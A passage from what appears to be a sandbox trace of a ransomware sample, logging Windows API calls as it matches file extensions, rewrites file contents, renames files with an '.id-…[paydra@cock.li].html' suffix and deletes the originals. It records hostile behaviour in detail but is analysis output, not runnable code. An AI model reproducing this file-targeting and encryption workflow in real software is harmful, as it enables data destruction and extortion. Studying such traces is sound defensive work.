(lpString=".doc") returned 4 [0049.615] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.615] lstrlenW (lpString=".docx") returned 5 [0049.615] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.615] lstrlenW (lpString=".pdf") returned 4 [0049.615] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.615] lstrlenW (lpString=".xls") returned 4 [0049.615] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.615] lstrlenW (lpString=".xlsx") returned 5 [0049.615] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.615] lstrlenW (lpString=".ppt") returned 4 [0049.615] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.615] lstrlenW (lpString=".zip") returned 4 [0049.615] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.615] lstrlenW (lpString=".rar") returned 4 [0049.615] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.615] lstrlenW (lpString=".bz2") returned 4 [0049.615] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.615] lstrlenW (lpString=".7z") returned 3 [0049.615] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.615] lstrlenW (lpString=".dbf") returned 4 [0049.615] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.615] lstrlenW (lpString=".1cd") returned 4 [0049.615] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.616] lstrlenW (lpString=".jpg") returned 4 [0049.616] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.616] lstrlenW (lpString=".doc") returned 4 [0049.616] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.616] lstrlenW (lpString=".docx") returned 5 [0049.616] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.616] lstrlenW (lpString=".pdf") returned 4 [0049.616] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.616] lstrlenW (lpString=".xls") returned 4 [0049.616] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.616] lstrlenW (lpString=".xlsx") returned 5 [0049.616] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.616] lstrlenW (lpString=".ppt") returned 4 [0049.616] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.616] lstrlenW (lpString=".zip") returned 4 [0049.616] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.616] lstrlenW (lpString=".rar") returned 4 [0049.616] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.616] lstrlenW (lpString=".bz2") returned 4 [0049.616] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.616] lstrlenW (lpString=".7z") returned 3 [0049.616] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.616] lstrlenW (lpString=".dbf") returned 4 [0049.616] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.616] lstrlenW (lpString=".1cd") returned 4 [0049.617] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.617] lstrlenW (lpString=".jpg") returned 4 [0049.617] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.617] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0049.617] lstrlenW (lpString="VisiorWW.cab") returned 12 [0049.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.617] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=195011319) returned 1 [0049.617] CloseHandle (hObject=0x1b8) returned 1 [0049.617] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0049.617] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.617] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0049.618] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.618] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.618] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.618] ReadFile (in: hFile=0x1b8, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.625] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.625] ReadFile (in: hFile=0x1b8, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.631] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.631] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.631] ReadFile (in: hFile=0x1b8, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.645] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.645] WriteFile (in: hFile=0x1b8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.806] SetEndOfFile (hFile=0x1b8) returned 1 [0049.806] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0049.809] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.809] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.822] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.822] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.825] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.825] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.826] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0049.827] CloseHandle (hObject=0x1b8) returned 1 [0049.827] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.827] lstrlenW (lpString=".doc") returned 4 [0049.827] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.827] lstrlenW (lpString=".docx") returned 5 [0049.827] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.827] lstrlenW (lpString=".pdf") returned 4 [0049.827] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.827] lstrlenW (lpString=".xls") returned 4 [0049.827] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.827] lstrlenW (lpString=".xlsx") returned 5 [0049.827] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.827] lstrlenW (lpString=".ppt") returned 4 [0049.827] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.827] lstrlenW (lpString=".zip") returned 4 [0049.827] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.827] lstrlenW (lpString=".rar") returned 4 [0049.827] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.828] lstrlenW (lpString=".bz2") returned 4 [0049.828] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.828] lstrlenW (lpString=".7z") returned 3 [0049.828] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.828] lstrlenW (lpString=".dbf") returned 4 [0049.828] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.828] lstrlenW (lpString=".1cd") returned 4 [0049.828] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.828] lstrlenW (lpString=".jpg") returned 4 [0049.828] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.828] lstrlenW (lpString=".doc") returned 4 [0049.828] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.828] lstrlenW (lpString=".docx") returned 5 [0049.828] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.828] lstrlenW (lpString=".pdf") returned 4 [0049.828] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.828] lstrlenW (lpString=".xls") returned 4 [0049.828] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.828] lstrlenW (lpString=".xlsx") returned 5 [0049.828] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.828] lstrlenW (lpString=".ppt") returned 4 [0049.828] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.828] lstrlenW (lpString=".zip") returned 4 [0049.828] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.829] lstrlenW (lpString=".rar") returned 4 [0049.829] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.829] lstrlenW (lpString=".bz2") returned 4 [0049.829] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.829] lstrlenW (lpString=".7z") returned 3 [0049.829] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.829] lstrlenW (lpString=".dbf") returned 4 [0049.829] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.829] lstrlenW (lpString=".1cd") returned 4 [0049.829] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.829] lstrlenW (lpString=".jpg") returned 4 [0049.829] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.829] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0049.829] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0049.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.451] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1369952) returned 1 [0051.451] CloseHandle (hObject=0x214) returned 1 [0051.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0051.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.451] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.451] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0051.454] GetLastError () returned 0x0 [0051.454] ReadFile (in: hFile=0x214, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0051.472] WriteFile (in: hFile=0x1b8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0051.491] ReadFile (in: hFile=0x214, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x4e770, lpOverlapped=0x0) returned 1 [0051.762] WriteFile (in: hFile=0x1b8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0051.769] ReadFile (in: hFile=0x214, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.769] WriteFile (in: hFile=0x1b8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.770] SetEndOfFile (hFile=0x1b8) returned 1 [0051.770] CloseHandle (hObject=0x1b8) returned 1 [0051.770] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.770] SetEndOfFile (hFile=0x214) returned 1 [0051.773] CloseHandle (hObject=0x214) returned 1 [0051.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.773] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0051.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.774] lstrlenW (lpString=".doc") returned 4 [0051.774] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0051.774] lstrlenW (lpString=".docx") returned 5 [0051.774] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0051.774] lstrlenW (lpString=".pdf") returned 4 [0051.774] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0051.774] lstrlenW (lpString=".xls") returned 4 [0051.774] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0051.774] lstrlenW (lpString=".xlsx") returned 5 [0051.774] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0051.774] lstrlenW (lpString=".ppt") returned 4 [0051.774] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0051.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.774] lstrlenW (lpString=".zip") returned 4 [0051.774] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0051.774] lstrlenW (lpString=".rar") returned 4 [0051.774] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0051.774] lstrlenW (lpString=".bz2") returned 4 [0051.774] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0051.774] lstrlenW (lpString=".7z") returned 3 [0051.774] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0051.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.774] lstrlenW (lpString=".dbf") returned 4 [0051.774] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0051.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.774] lstrlenW (lpString=".1cd") returned 4 [0051.774] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0051.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.774] lstrlenW (lpString=".jpg") returned 4 [0051.774] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0051.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.775] lstrlenW (lpString=".doc") returned 4 [0051.775] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0051.775] lstrlenW (lpString=".docx") returned 5 [0051.775] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0051.775] lstrlenW (lpString=".pdf") returned 4 [0051.775] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0051.775] lstrlenW (lpString=".xls") returned 4 [0051.775] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0051.775] lstrlenW (lpString=".xlsx") returned 5 [0051.775] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0051.775] lstrlenW (lpString=".ppt") returned 4 [0051.775] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0051.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.775] lstrlenW (lpString=".zip") returned 4 [0051.775] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0051.775] lstrlenW (lpString=".rar") returned 4 [0051.775] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0051.775] lstrlenW (lpString=".bz2") returned 4 [0051.775] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0051.775] lstrlenW (lpString=".7z") returned 3 [0051.775] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0051.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.775] lstrlenW (lpString=".dbf") returned 4 [0051.775] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0051.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.775] lstrlenW (lpString=".1cd") returned 4 [0051.775] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0051.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0051.775] lstrlenW (lpString=".jpg") returned 4 [0051.775] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0051.776] lstrcmpiW (lpString1=".CFG", lpString2=".html") returned -1 [0051.776] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0051.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.776] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=6811) returned 1 [0051.776] CloseHandle (hObject=0x214) returned 1 [0051.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0051.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.777] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.777] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0051.777] GetLastError () returned 0x0 [0051.777] ReadFile (in: hFile=0x214, 